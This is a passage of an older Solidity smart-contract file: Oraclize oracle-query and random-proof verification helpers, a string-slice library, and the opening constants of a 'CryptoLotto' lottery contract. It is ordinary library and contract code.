function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid;
result;
proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice * 200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice * gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns (uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((bresult[i] >= 48) && (bresult[i] <= 57)) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10 ** _b;
return mint;
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1) / 23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1) / 23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32 => bytes32) oraclize_randomDS_args;
mapping(bytes32 => bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4 + (uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset + (uint(dersig[offset - 1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset + 1]) + 2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3 + 1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1 + 65 + 32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset - 65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1 + 65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3 + 65 + 1]) + 2);
copyBytes(proof, 3 + 65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L") || (_proof[1] != "P") || (_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal pure returns (bool){
bool match_ = true;
for (uint256 i = 0; i < prefix.length; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3 + 65 + (uint(proof[3 + 65 + 1]) + 2) + 32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (keccak256(keyhash) == keccak256(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1]) + 2);
copyBytes(proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8 + 1 + 32);
copyBytes(proof, ledgerProofLength + 32, 8 + 1 + 32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65;
copyBytes(proof, sig2offset - 64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)) {
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32 + 8 + 1 + 32);
copyBytes(proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false) {
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity ^0.4.14;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly {retptr := add(ret, 32)}
memcpy(retptr, self._ptr, self._len);
return ret;
}
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, length), sha3(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop :
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit :
}
return ptr;
} else {
bytes32 hash;
assembly {hash := sha3(needleptr, needlelen)}
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {testHash := sha3(ptr, needlelen)}
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
}
contract CryptoLotto is usingOraclize {
using strings for *;
address Owner;
uint public constant lottoPrice = 10 finney;
uint public constant duration = 1 days;
uint8 public constant lottoLength = 6;
uint8 public constant lottoLowestNumber = 1;
uint8 public constant lottoHighestNumber = 15;
uint8 public constant sixMatchPayoutInPercent = 77;
uint8 public constant bonusMatchPayoutInPercent = 11;
